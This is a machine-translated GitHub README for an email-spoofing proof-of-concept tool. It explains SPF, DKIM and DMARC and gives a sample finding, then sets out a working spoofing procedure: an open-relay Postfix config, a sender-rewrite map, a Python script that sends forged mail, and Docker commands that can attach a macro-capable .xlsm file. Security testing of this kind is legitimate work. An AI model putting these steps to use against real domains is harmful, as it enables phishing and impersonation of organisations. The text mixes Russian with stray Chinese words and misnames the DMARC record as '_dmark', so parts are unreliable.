IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module

GitHub: IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module

HydrAttack PoC eMail Spoofer Module 用于检测并演示因缺少 SPF/DKIM/DMARC 而导致的邮件伪造风险。

Stars: 32 | Forks: 9

# Модуль PoC eMailSpoofer HydrAttack **Модуль PoC eMailSpoofer HydrAttack** предназначен для тестирования безопасности домена против атак подделки电子邮件. Он выполняет следующие шаги: проверка SPF & DMARC (модуль проверяет, настроены ли записи SPF и DMARC для целевого домена), попытка подделки (если домен не имеет надлежащих защит SPF и DMARC, модуль запускает веб-сервер и пытается отправить подделанные电子邮件 с этого домена) и верификация (проверяется доставка подделанного电子邮件 для оценки реального риска эксплуатации). [![Посмотреть видео](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/207e9eceae004813.png)](https://github.com/IvanGlinkin/media_support/raw/refs/heads/main/HydrAttack_Email_Spoofed_Module_POC.mov) ### Содержание [Юридическое уведомление](#%EF%B8%8F-legal-disclaimer)\ [Что такое HydrAttack](#--what-is-hydrattack)\ [Как использовать: подробно](#detailed-instruction)\ [Как использовать: кратко](#short-instruction)\ [Риск отсутствия SPF/DKIM/DMARC](#the-risk-of-spfdkimdmarc-absent)\ [Описание отчета](#report-description)\ [Пошаговый отчет](#step-by-step-report) ### ⚠️ Юридическое уведомление Это программное обеспечение и связанные с ним материалы предназначены исключительно для целей proof-of-concept (PoC) и исследований в области безопасности. Несанкционированное использование этого кода для реальных атак подделки, мошеннической деятельности или любых злонамеренных целей строго запрещено. ### Что такое HydrAttack Система управления внешней поверхностью атак HydrAttack — это инновационная платформа управления рисками, разработанная для выявления и снижения рисков веб-приложений совершенно новыми способами ### Как использовать #### Подробная инструкция 1. Установите Docker (если уже установлено, пропустите этот шаг) * для Ubuntu: официальный сайт: https://docs.docker.com/engine/install/ubuntu/ * для Windows: https://docs.docker.com/desktop/setup/install/windows-install/ * для MacOS: https://docs.docker.com/desktop/setup/install/mac-install/ 2. Скачайте репозиторий на свой ПК * Используя Git: `git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git` * Скачать ZIP: https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module/archive/refs/heads/main.zip 3. Перейдите в папку * U/Linux: `cd HydrAttack-PoC-eMail-Spoofer-Module` * Windows: `dir HydrAttack-PoC-eMail-Spoofer-Module` 4. Создайте образ (НЕ ЗАБУДЬТЕ О ТОЧКЕ (.) ) `docker build -t docker-hydrattack-poc-email-spoofer .` 5. Запустите контейнер `docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer` * USERNAME — имя отправителя, например *spoofed*@abracadabra.ahha * DOMAIN — тестируемое имя домена, например *abracadabra.ahha* * SENDTO — адрес电子邮件, куда отправить отчет, например *your@email.com* * ATTACH — файл для вложения в电子邮件, например *attachment.xlsm* #### Краткая инструкция ``` cd ~/Documents git clone https://github.com/IvanGlinkin/HydrAttack-PoC-eMail-Spoofer-Module.git cd HydrAttack-PoC-eMail-Spoofer-Module docker build -t docker-hydrattack-poc-email-spoofer . docker run -it --rm -e DOMAIN=abracadabra.ahha -e SENDTO=your@email.com -e USERNAME=spoofed -e ATTACH=/app/attachment.xlsm -v ./:/app docker-hydrattack-poc-email-spoofer ``` ### Риск отсутствия SPF/DKIM/DMARC Каждый фрагмент кода, в частности, и каждое приложение в целом должно быть разработано безопасным образом, чтобы избежать ошибок, которые могут привести к конкретному нарушению или утечке. Электронные механизмы не являются исключением и также должны быть надлежащим образом защищены. В этой статье базы знаний рассмотрим основные механизмы аутентификации电子邮件, которые помогают нам не попасться на удочку и не быть обманутыми. **Sender Policy Framework**, также известный как **SPF**, помогает проверить, что电子邮件 отправлен с авторизованного почтового сервера. Таким образом, владелец домена публикует запись SPF в DNS (систему доменных имен), указывая, какие почтовые серверы разрешены для отправки电子邮件 от имени домена. Когда приходит电子邮件, почтовый сервер получателя проверяет запись SPF отправляющего домена. Если电子邮件 поступает с авторизованного почтового сервера, он проходит SPF; в противном случае он не проходит SPF и может быть помечен как спам или отклонен. #### Пример записи SPF: ``` • Type: TXT • Name: @ • Data: v=spf1 ip4:192.168.1.1 include:_spf.yourmailserver.com -all • TTL: 1 hour ``` Это означает, что только 192.168.1.1 и почтовые серверы вашегоmailserver имеют право отправлять电子邮件 для домена **DomainKeys Identified Mail**, также известный как **DKIM**, — это метод аутентификации电子邮件, который позволяет получателю проверить, что电子邮件 действительно был отправлен заявленным отправителем и не был изменен в пути. Он делает это, добавляя цифровую подпись к电子邮件. Владелец домена генерирует пару ключей, при этом открытый ключ публикуется в DNS домена в виде TXT-записи, а закрытый ключ хранится безопасно на отправляющем почтовом сервере. #### Пример записи DKIM: ``` • Type: TXT • Name: dkim._domainkey • Data: v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQE... (public key) • TTL: 1 hour ``` Когда отправляется电子邮件, почтовый сервер использует закрытый ключ для создания подписи DKIM, которая добавляется как специальный заголовок DKIM-Signature в电子邮件. Почтовый сервер получателя извлекает открытый ключ из DNS отправителя, который используется для проверки подписи DKIM. Если подпись совпадает,电子邮件 проходит аутентификацию DKIM. **Domain-based Message Authentication, Reporting, and Conformance**, также известный как **DMARC**, строится на основе SPF и DKIM для обеспечения более строгой аутентификации电子邮件 и отчетности. Он позволяет владельцам домена указывать, как должны обатываться неудачные SPF/DKIM电子邮件 получателями. Запись DMARC также публикуется в DNS, и если电子邮件 не проходит SPF или DKIM, почтовый сервер получателя следует политике DMARC: ``` • p=none: Take no action, just monitor • p=quarantine: Mark as spam • p=reject: Block the email entirely ``` #### Пример записи DMARC: ``` • Type: TXT • Name: _dmark • Data: v=DMARC1; p=reject; sp=reject; rua=mailto:reports@yourdomain.com; ruf=mailto:forensics@yourdomain.com; adkim=s; aspf=s • TTL: 1 hour ``` Это означает, что все неудачные电子邮件 блокируются (p=reject), отчеты об атаке отправляются на указанные адреса (rua/ruf), и включается строгий режим, обеспечивающий точное совпадение подписей DKIM (adkim=s) sp=reject — та же политика для ваших поддоменов ### Полная конфигурация безопасности: 1. SPF гарантирует, что电子邮件 поступает с авторизованного почтового сервера. 2. DKIM гарантирует, что电子邮件 не был изменен. 3. DMARC применяет политики на основе результатов SPF/DKIM и предоставляет отчетность. ### Описание отчета #### Описание Отсутствие записей SPF/DMARC позволяет подделать домен abracadabra.ahha. #### Влияние Отправка неавторизованных电子邮件 с домена компании — abracadabra.ahha, подмена их личности и содействие реализации атак подделки. #### Рекомендация Настройте записи SPF/DMARC с политиками, подходящими для домена: ``` v=spf1 include:mx.abracadabra.ahha -all v=DMARC1; p=quarantine; sp=reject; rua=mailto:dmarc-reports@abracadabra.ahha; ruf=mailto:dmarc-failures@abracadabra.ahha; pct=100; ``` #### Угроза Анонимный атакующий из Интернета #### Оценка риска ``` CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N = 5.3 Medium ``` ### Пошаговый отчет #### Шаг 1. Установка почтового сервера на Ubuntu ``` sudo apt update sudo apt install postfix ``` Во время установки необходимо настроить следующие ключи: ``` General type of mail configuration? → Internet Site System mail name? → abracadabra.ahha ``` #### Шаг 2. Настройка /etc/postfix/main.cf ``` smtpd_banner = $myhostname ESMTP biff = no append_dot_mydomain = no readme_directory = no compatibility_level = 3.6 smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key smtpd_tls_security_level=may smtp_tls_CApath=/etc/ssl/certs smtp_tls_security_level=may smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache smtpd_relay_restrictions = permit_mynetworks permit_sasl_authenticated defer_unauth_destination myhostname = abracadabra.ahha myorigin = abracadabra.ahha mydestination = localhost alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliase relayhost = mynetworks = 0.0.0.0/0 mailbox_size_limit = 0 recipient_delimiter = + inet_interfaces = all inet_protocols = all smtpd_recipient_restrictions=permit_mynetworks,reject_unauth_destination mynetworks=0.0.0.0/0 inet_interfaces = all smtp_host_lookup=native smtp_generic_maps = hash:/etc/postfix/generic ``` #### Шаг 3. Настройка файла /etc/postfix/generic ``` spoofed@abracadabra.ahha mail@abracadabra.ahha ``` #### Шаг 4. Изменение имени хоста ``` sudo hostnamectl set-hostname abracadabra.ahha ``` #### Шаг 5. Перезапуск postfix для применения изменений ``` sudo systemctl restart postfix sudo systemctl enable postfix ``` #### Шаг 6. Создание скрипта send_email.py ``` import smtplib from email.mime.text import MIMEText msg = MIMEText("Spoofing abracadabra.ahha emails") msg["Subject"] = "abracadabra.ahha spoofing" msg["From"] = "spoofed@abracadabra.ahha" msg["To"] = "mail@hydrattack.com" server = smtplib.SMTP("127.0.0.1", 25) server.sendmail("spoofed@abracadabra.ahha", "mail@hydrattack.com", msg.as_string()) server.quit() print("Email sent!") ``` #### Шаг 7. Запуск скрипта — отправка подделанного电子邮件 ``` python3 send_email.py ```
标签:DMARC, HydrAttack, Object Callbacks, PoC, SPF, Web服务器, 反取证, 域名安全, 域名防护, 外部攻击面管理, 安全评估, 暴力破解, 电子邮件欺骗, 电子邮件验证, 网络钓鱼, 请求拦截, 逆向工具, 邮件安全